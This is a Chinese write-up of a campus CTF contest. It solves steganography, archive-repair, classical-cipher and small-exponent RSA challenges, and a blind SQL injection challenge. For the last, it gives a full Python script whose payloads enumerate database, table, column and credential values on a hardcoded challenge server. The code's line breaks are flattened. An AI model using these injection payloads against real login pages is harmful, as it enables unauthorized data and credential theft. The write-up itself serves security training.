当前位置: 首页 > news >正文

2024年合肥师范学院信息安全小组内部选拔赛(c211)WP

目录

  • 前言
  • MISC
    • 签到题_熟悉吗
    • 又来一道签到题
    • 文件包含
  • CRYPTO
    • 古典1
    • 古典2
    • RSA
  • web
    • baby_sql

前言

[HFNU 校级选拔] 已经结束,接下来一起了解下题目是怎么做的。
通过网盘分享的文件:ARCHPR_4.66.266.0_汉化绿色版.7z
链接: https://pan.baidu.com/s/1N_c0PJXb8ICkzWfHo98QHQ?pwd=ev3k 提取码: ev3k

MISC

签到题_熟悉吗

在这里插入图片描述

打开压缩包,发现里面是一个MP3文件,和一个key,值为syclovergeek,初步判断是mp3隐写,于是把它拖到工具MP3Stego目录下:

在这里插入图片描述

然后在当前路径下进入命令行,使用工具解密:

.\Decode.exe -X -P "syclovergeek" shuxidetimu.mp3

在这里插入图片描述

之后,在该目录下得到一个文件shuxidetimu.mp3.txt,打开得到flag:

在这里插入图片描述

flag:SYC{Mp3_B15b1uBiu_W0W}

又来一道签到题

这一题给了一个jpg图片,将它拖入010中,发现字符串:

在这里插入图片描述

将该字符串进行base32解密:

在这里插入图片描述

得到flag:flag{6f1797d4080b29b64da5897780463e30}

文件包含

拿到题目是一个MP4,对它进行binwalk分析,发现里面很多压缩包,压缩了很多图片:

在这里插入图片描述

010也是如此,可以发现里面有很多压缩包:

在这里插入图片描述

于是将Are_you_ok_.mp4改为Are_you_ok_.zip并解压缩,得到很多图片,同时发现hint

在这里插入图片描述

在这里插入图片描述

只有65.jpg无法正常回显,我们将它拖入010:

在这里插入图片描述

发现文件头很想rar格式的文件头,因此更改文件头为:

在这里插入图片描述

保存更改,并将后缀改为rar,再次打开发现需要密码:

在这里插入图片描述

在这里插入图片描述

由于是RAR5,旧版ARCHPR无法爆破RAR5的密码(新版ARCHPR可以尝试用掩码爆破,需要新版的可以找前言里的网盘工具):

在这里插入图片描述

解压之后得到一个flag文件,无法打开:

在这里插入图片描述

将它拖入010中,发现是png图片,于是将它的后缀改为png,即可打开图片:

在这里插入图片描述

flag如图:

在这里插入图片描述

CRYPTO

古典1

打开txt文件得到一串字符:S1ZKVUNTQ1FJNUpYV1ZDVEpGSEVPVENSS05FVklSU0tKRklFQ1YyUUlGREZPV0NCS0JIVktWMkdKNUlFNlNLUUtSRVVNVkNWS0JFVk9TS0dLUklFU1JTSktCNlE9PT09

将它拖入cyberchef,点击魔棒:

在这里插入图片描述

发现是一层base64解密并得到了下一层字符串:

在这里插入图片描述

点击魔棒,发现是一层base32解密并得到了下一层字符串,并且该字符串极其接近flag:

在这里插入图片描述

从题目描述中,我们知道flag格式为HFNUCTF,从H到U移动了13个单位的字符,并且之后的SAHPGS移动了13个单位的字符后分别对应FNUCTF,由此可得:最后一层加密是凯撒加密,偏移量为13。

在这里插入图片描述

flag为:HFNUCTF{GFVATYDFVGSWVCNJCNSJKNCBHJSBCBVCGVSGHCVJVSGCVSVC}

古典2

打开txt文件得到一串字符:

RktmbWZfZGg4emNIU1R7c2Z1ZGx1enVqemY3dXVydXJaSGVqZG1pZGNqfQ==

特征明显,为base64加密,我们将它拖入cyberchef:

在这里插入图片描述

此处已经出现了flag的部分特征: “{}” ,再结合提示中 “大括号的位置很重要,并且字符串格式为HFNUCTF{}” ,我们可以知道现在要做的是找到能够改变{}位置的加密方式,因为大部分古典加密出现的较早,当时并不存在”{}“这种字符,因此在加解密的时候遇到这种字符串往往采取不处理的方式,但是栅栏密码(Rail-Fence Cipher)会改变字符串的位置,“{}”也不例外。所以,我们这里尝试栅栏解密,目的是将“{”移到正确的位置上,即第8个字符串的位置。

在这里插入图片描述

经过简单的一两次尝试后得到,当key为3时,“{”出现在了正确的位置,并且“}”也闭合在了末尾。

此时进行凯撒解密,在尝试了24次后发现无法得到flag,说明还套了一层额外的加密,我们先尝试atbash密码:

在这里插入图片描述

之后再尝试凯撒加密:

在这里插入图片描述

当偏移量为13时,成功得到了flag,flag值为HFNUCTF{huihasdjhbjs_nasjdenfhj78sksnvdskv}

RSA

打开附件,发现已知n,c,e,由于n很大,我们无法通过因式分解得到p和q,需要想其他办法来解决。仔细观察,我们发现本题的e很小,值为3。

当m3比n还小,就有:

c = m<sup>3</sup> mod n    -->   c = m<sup>3</sup>

当m3大于n,就有:

c = m<sup>3</sup> - kn  -->  m<sup>3</sup> = c + kn

因此,爆破k,当c + kn可以被开三次方,就可以得到明文m。 exp如下:

import gmpy2
from Crypto.Util.number import *def de(c, e, n):k = 0while True:m = c + n*kresult, flag = gmpy2.iroot(m, e)if True == flag:return resultk += 1e= 3
n= 691316677109436623113422493782665795857921917893759942123087462879884062720557906429183155859597756890896192044003240821906332575292476160072039505771794531255542244123516929671277306361467074545720823735806308003091983427678300287709469582282466572230066580195227278214776280213722215953097747453437289734469454712426107967188109548966907237877840316009828476200388327329144783877033491238709954473809991152727333616022406517443130542713167206421787038596312975153165848625721911080561242646092299016802662913017071685740548699163836007474224715426587609549372289181977830092677128368806113131459831182390520942892670696447128631485606579943885812260640805756035377584155135770155915782120025116486061540105139339655722904721294629149025033066823599823964444620779259106176913478839370100891213072100063101232635183636552360952762838656307300621195248059253614745118852163569388418086291748805100175008658387803878200034840215506516715640621165661642177371863874586069524022258642915100615596032443145034847031564356671559179212705466145609698475546210994748949121359853094247990533075004393534565421776468785821261291309463205314057882016266066365636018084499158806717036972590848458891019171583268920180691221168453612029698510271
c= 3442467842482561323703237574537907554035337622762971103210557480050349359873041624336261782731509068910003360547049942482415036862904844600484976674423604861710166033558576921438068555951948966099658902606725292551952345193132973996288566246138708754810511646811362017769063041425115712305629748341207792305694590742066971202523405301561233341991037374101265623265332070787449332991792097090044761973705909217137119649091313457206589803479797894924402017273543719924849592070328396276760381501612934039653m=de(c,e,n)
print(m)
print(long_to_bytes(m))
#运行得到结果:b'flag{4c466c3d0949118a3ca3319b43fe792bef9e94a19c8f666d2ec6c890034d88ba}'

因此,flag为 flag{4c466c3d0949118a3ca3319b43fe792bef9e94a19c8f666d2ec6c890034d88ba}

web

baby_sql

这是一道sql盲注题,我们先尝试使用万能密码:' or 1=1#,得到了假的flag:

在这里插入图片描述

所以需要尝试sql注入。

exp如下:

import requestsburp0_url = "http://39.104.206.54:8080/login.php"
burp0_cookies = {"PHPSESSID": "5703888b277338746d9f4292645d23a7"}
burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Language": "zh-CN,zh;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Origin": "http://182.44.3.106:44556", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": "http://182.44.3.106:44556/login.php", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"username": "1", "password": "admin"}# 枚举当前数据库名的payload
payload_db = "1' or ascii(substr((select database()) from {} for 1))={}#"# 枚举所有表名的payload
payload_tab = "1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{}') from {} for 1))={}#"# 枚举所有列名的payload
payload_com = "1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='{}') from {} for 1))={}#"# 枚举字符的payload
payload_str = "1' or ascii(substr((select {} from user) from {} for 1))={}#"# 判断长度的payload
payload_len_db = "1' or length((select database()))={}#"
payload_len_tab = "1' or length((select group_concat(table_name) from information_schema.tables where table_schema='{}'))={}#"
payload_len_com = "1' or length((select group_concat(column_name) from information_schema.columns where table_schema='{}'))={}#"
payload_len_str = "1' or length((select {} from {}))={}#"def fuzz():len = 0db = ''for i in range(1,100):burp0_data["username"] = payload_len_db.format(i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 数据库名长度为: {i}')len = ibreakfor i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_db.format(i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:db += chr(n)print('[+] 第', i, '个字符枚举成功:',db)breakprint()for i in range(1,100):burp0_data["username"] = payload_len_tab.format(db,i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 表名长度为: {i}')len = ibreaktab = ''for i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_tab.format(db,i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:tab += chr(n)print('[+] 第', i, '个字符枚举成功:',tab)breakprint()for i in range(1,100):burp0_data["username"] = payload_len_com.format(db,i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 列名长度为: {i}')len = ibreakcom = ''for i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_com.format(db,i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:com += chr(n)print('[+] 第', i, '个字符枚举成功:',com)breakprint()com = input('[*] 请输入要猜解的列: ')for i in range(1,100):burp0_data["username"] = payload_len_str.format(com,tab,i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 字段长度为: {i}')len = ibreakstr = ''for i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_str.format(com,i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:str += chr(n)print('[+] 第', i, '个字符枚举成功:',str)breakprint()com = input('[*] 请输入要猜解的列: ')for i in range(1,100):burp0_data["username"] = payload_len_str.format(com,tab,i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 字段长度为: {i}')len = ibreakstr = ''for i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_str.format(com,i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:str += chr(n)print('[+] 第', i, '个字符枚举成功:',str)breakif __name__ == '__main__':fuzz()

在这里插入图片描述

在这里插入图片描述

拿到账号密码后登陆,源码里有flag

在这里插入图片描述

相关文章:

2024年合肥师范学院信息安全小组内部选拔赛(c211)WP

目录 前言MISC签到题_熟悉吗又来一道签到题文件包含 CRYPTO古典1古典2RSA webbaby_sql 前言 [HFNU 校级选拔] 已经结束&#xff0c;接下来一起了解下题目是怎么做的。 通过网盘分享的文件&#xff1a;ARCHPR_4.66.266.0_汉化绿色版.7z 链接: https://pan.baidu.com/s/1N_c0PJX…...

GESP CCF C++八级编程等级考试认证真题 2024年12月

202412 GESP CCF C八级编程等级考试认证真题 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 小杨家响应国家“以旧换新”政策&#xff0c;将自家的汽油车置换为新能源汽车&#xff0c;正在准备自编车牌。自编车牌包括5 位数字或英文字母&#xff0c…...

GlusterFS 部署全攻略:详细步骤与要点解析(上)

文章目录 1、二进制部署1.1 安装yum源1.2 准备服务器1.3 添加本地解析1.4关闭防火墙及selinux1.5 加载内核模块1.6 格式化分区和挂载brick1.7 安装GlusterFS1.8 iptables配置1.9 配置可信任池1.10 设置GlusterFS卷1.11 测试volume卷 2、使用heketi将二进制GlusterFS集群作为k8s…...

充分利用 AIStor 的网络配置

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_urlhttps%3A%2F%2Ffiles.mdnice.com%2Fuser%2F41350%2F4ce80f61-875a-493b-a4ad-e884d7835be1.png&pos_idimg-flS gQlNx-1734678799…...

算法题(10):好数

审题&#xff1a; 需要判断出1-N的范围内有多少个好数&#xff0c;并输出 思路&#xff1a; 遍历数据&#xff1a;需要用for循环&#xff08;从1循环到N&#xff09; 每一位判断&#xff1a;用while循环&#xff0c;先从个位开始&#xff0c;每循环一次就让记录位数的变量&…...

使用二分查找法找出给定点距离给定点集合距离最近的点

1、场景描述 给定点Point A &#xff08;x,y&#xff09;和 直线点集合 Points [(x1,y1),(x2,y2),(x3,y3),(x4,y4),(x5,y5)......],计算出集合中距离点A最近的一个点 &#xff08;如果集合中的两个点距离A点最近且相等&#xff0c;则只取其中一个&#xff09; 2、代码&#x…...

国标GB28181协议平台Liveweb:搭建建筑工地无线视频联网监控系统方案

随着科技高速发展&#xff0c;视频信号经过数字压缩&#xff0c;通过互联网宽带或者移动4G网络传递&#xff0c;可实现远程视频监控功能。将这一功能运用于施工现场安全管理&#xff0c;势必会大大提高管理效率&#xff0c;提升监管层次。而这些&#xff0c;通过Liveweb监控系统…...

构建MacOS应用小白教程(打包 签名 公证 上架)

打包 在package.json中&#xff0c;dependencies会被打进 Electron 应用的包里&#xff0c;而devDependencies则不会&#xff0c;所以必要的依赖需要放到dependencies中。files中定义自己需要被打进 Electron 包里的文件。以下是一个完整的 mac electron-builder的配置文件。 …...

Nginx 双向链表 ngx_queue_t

目录 一、基本概述 二、数据结构 三、接口描述与实现 1、相关宏接口 2、ngx_queue_middle 3、ngx_queue_sort 四、使用案例 整理自 nginx 1.9.2 源码 和 《深入理解 Nginx&#xff1a;模块开发与架构解析》 一、基本概述 双向链表的优势是可以快速进行数据插入、删除与…...

【vue】npm install 报错 python2 Error: not found: python2

如图所示&#xff0c;vue项目在下载依赖的时候报错找不到python2&#xff0c;有网友通过下载python2.7并配置环境变量解决了&#xff0c;这里有两个其他自测可用的方式&#xff0c;供各位作为参考。 报错的主要原因是因为【sass-loader】【node-sass】这两个依赖跟nodejs版本有…...

CS 144 check3: the TCP sender

Lecture Notes 略 Exercises 现在&#xff0c;在check3中&#xff0c;您将实现连接的另一边。 TCPSender是一种工具&#xff0c;它从出站字节流转换为将成为不可靠数据报的有效负载的段。 TCP sender的任务是确保receiver至少收到每个bytes一次。任务&#xff1a; 1、跟踪…...

Deepin/Linux clash TUN模式不起作用,因网关导致的问题的解决方案。

网关导致的问题的解决方案 查看路由 ip route寻找默认路由 默认路由应当为Mihomo default dev Mihomo scope link 如果不是&#xff0c;则 sudo ip route add default dev Mihomo在clash TUN开关状态发生变化时&#xff0c;Mihomo网卡会消失&#xff0c;所以提示找不到网卡…...

Tomato 靶机(通关攻略)

点击开启靶机 去kali终端输入 arp-scan -l //扫描靶机IP 扫出靶机IP192.168.131.171 第一步&#xff1a;信息收集 端口扫描 nmap -p- 192.168.131.171 敏感目录扫描 dirb http://192.168.131.171 总结&#xff1a; IP&#xff1a;192.168.168.131 开放端口&#xff1a;2…...

服务器被入侵登录不上怎么办?

在数字化时代&#xff0c;服务器作为数据存储与业务运行的核心载体&#xff0c;其安全性直接关系到企业的生死存亡。然而&#xff0c;随着网络攻击手段的不断升级&#xff0c;服务器被入侵的事件屡见不鲜&#xff0c;导致系统瘫痪、数据泄露等严重后果。当您发现自己的服务器被…...

达梦官方工具 SQLark数据迁移(oracle->达梦数据库)

应国产化需求需要,需将系统中涉及的各中间件替换成国产中间件,此文介绍了从Oracle迁移数据至达梦dm8的步骤,该文在windos环境下已验证测试过 1 SQLark介绍 SQLark是一款专为信创应用开发者设计的数据库开发和管理工具。它支持快速查询、创建和管理多种类型的数据库系统&#xf…...

redis数据类型:list

list 的相关命令配合使用的应用场景&#xff1a; 栈和队列&#xff1a;插入和弹出命令的配合&#xff0c;亦可实现栈和队列的功能 实现哪种数据结构&#xff0c;取决于插入和弹出命令的配合&#xff0c;如左插右出或右插左出&#xff1a;这两种种方式实现先进先出的数据结构&a…...

.NET周刊【12月第2期 2024-12-08】

国内文章 终于解决了.net在线客服系统总是被360误报的问题&#xff08;对软件进行数字签名&#xff09; https://www.cnblogs.com/sheng_chao/p/18581139 升讯威在线客服与营销系统由.net core和WPF开发&#xff0c;旨在开放、开源、共享。开发者为解决360与其他国产管家的误…...

C#—扩展方法

扩展方法 扩展方法是C#中一种特殊的静态方法&#xff0c;它定义在一个静态类中&#xff0c;但是可以像实例方法一样被调用&#xff0c;使得代码看起来更为直观和易于阅读。扩展方法允许你在不修改原始类的情况下&#xff0c;添加新的方法到现有的类型中。 有↓箭头的是扩展方…...

金碟中间件-AAS-V10.0安装

金蝶中间件AAS-V10.0 AAS-V10.0安装 1.解压AAS-v10.0安装包 unzip AAS-V10.zip2.更新license.xml cd /root/ApusicAS/aas# 这里要将license复制到该路径 [rootvdb1 aas]# ls bin docs jmods lib modules templates config domains …...

sql server 查询对象的修改时间

sql server 不能查询索引的最后修改时间&#xff0c;可以查询表&#xff0c;存储过程&#xff0c;函数&#xff0c;pk 的最后修改时间使用以下语句 select * from sys.all_objects ob order by ob.modify_date desc 但可以参考一下统计信息的最后修改时间&#xff0c;因为索…...

Qt之串口设计-线程实现(十二)

Qt开发 系列文章 - Serial-port&#xff08;十二&#xff09; 目录 前言 一、SerialPort 二、实现方式 1.创建类 2.相关功能函数 3.用户使用 4.效果演示 5.拓展应用-实时刷新 总结 前言 Qt作为一个跨平台的应用程序开发框架&#xff0c;在串口编程方面提供了方便易用…...

探索 Seaborn Palette 的奥秘:为数据可视化增色添彩

一、引言 在数据科学的世界里&#xff0c;视觉传达是不可或缺的一环。一个好的数据可视化不仅能传递信息&#xff0c;还能引发共鸣。Seaborn 是 Python 中一款广受欢迎的可视化库&#xff0c;而它的调色板&#xff08;palette&#xff09;功能&#xff0c;则为我们提供了调配绚…...

Linux创建普通用户和修改主机名

创建修改用户名和用户组 工作组相关命令 功能命令说明切换用户su username注销用户logout新建用户adduser username 创建用户并分配到用户组useradd -g test username 设置用户密码passwd username查看某一用户w username查看登录用户w查看登陆用户并显示IPwho查看登录历史…...

在 Spring Boot 3 中实现基于角色的访问控制

基于角色的访问控制 (RBAC) 是一种有价值的访问控制模型,可增强安全性、简化访问管理并提高效率。它在管理资源访问对安全和运营至关重要的复杂环境中尤其有益。 我们将做什么 我们有一个包含公共路由和受限路由的 Web API。受限路由需要数据库中用户的有效 JWT。 现在用户…...

二八(vue2-04)、scoped、data函数、父子通信、props校验、非父子通信(EventBus、provideinject)、v-model进阶

1. 组件的三大组成部分(结构/样式/逻辑) 1.1 scoped 样式冲突 App.vue <template><!-- template 只能有一个根元素 --><div id"app"><BaseOne></BaseOne><BaseTwo></BaseTwo></div> </template><script…...

配置PostgreSQL用于集成测试的步骤

在进行软件开发时&#xff0c;集成测试是确保各个组件能够协同工作的关键环节。PostgreSQL作为一种强大的开源数据库系统&#xff0c;常被用于集成测试中。下面将详细介绍如何在不同的环境中配置PostgreSQL以支持集成测试。 1. 选择并安装PostgreSQL 首先&#xff0c;你需要根…...

【ComfyUI + 铅笔素描画风】艺术家DaTou发布了的彩色铅笔素描风格生成(真实感超强)

发布时间&#xff1a;2024年12月09日 项目主页&#xff1a;https://hf-mirror.com/Datou1111/shou_xin 基础模型&#xff1a;flux.1-dev comfyui工作流下载&#xff1a;https://pan.baidu.com/s/1FrLQ4o8ldckKwhIrN1Pv7g?pwd1220 自己测试 官方效果 生成猫猫 shou_xin, a m…...

Unity-Editor扩展GUI基本实现一个可拖拉放的格子列表

短短几百行代码,好吧,又是“参考”了国外的月亮 操作,还真地挺自然的。。。。。。国外的实现有点小牛 拖拉,增加+ 一个Element 鼠标左键长按,可以出提示 鼠标右键,清除Element, 有点小bug,不是很自然地完全清除, using System.Collections; using System.Collecti…...

后摩尔定律时代,什么将推动计算机性能优化的发展?

在摩尔定律时代&#xff0c;每两年芯片上的晶体管数量就会翻一番&#xff0c;这一看似不可避免的趋势被称为摩尔定律&#xff0c;它极大地促进了计算机性能的提高。然而&#xff0c;硅基晶体管不可能一直小下去&#xff0c;半导体晶体管的微型化推动了计算机性能的提升&#xf…...

SQL进阶技巧:如何计算商品需求与到货队列表进出计划?

目录 0 需求描述 1 数据准备 2 问题分析 3 小结 累计到货数量计算 出货数量计算 剩余数量计算 0 需求描述 假设现有多种商品的订单需求表 DEMO_REQUIREMENT&#xff0c;以及商品的到货队列表 DEMO_ARR_QUEUE&#xff0c;要求按照业务需要&#xff0c;设计一个报表&#…...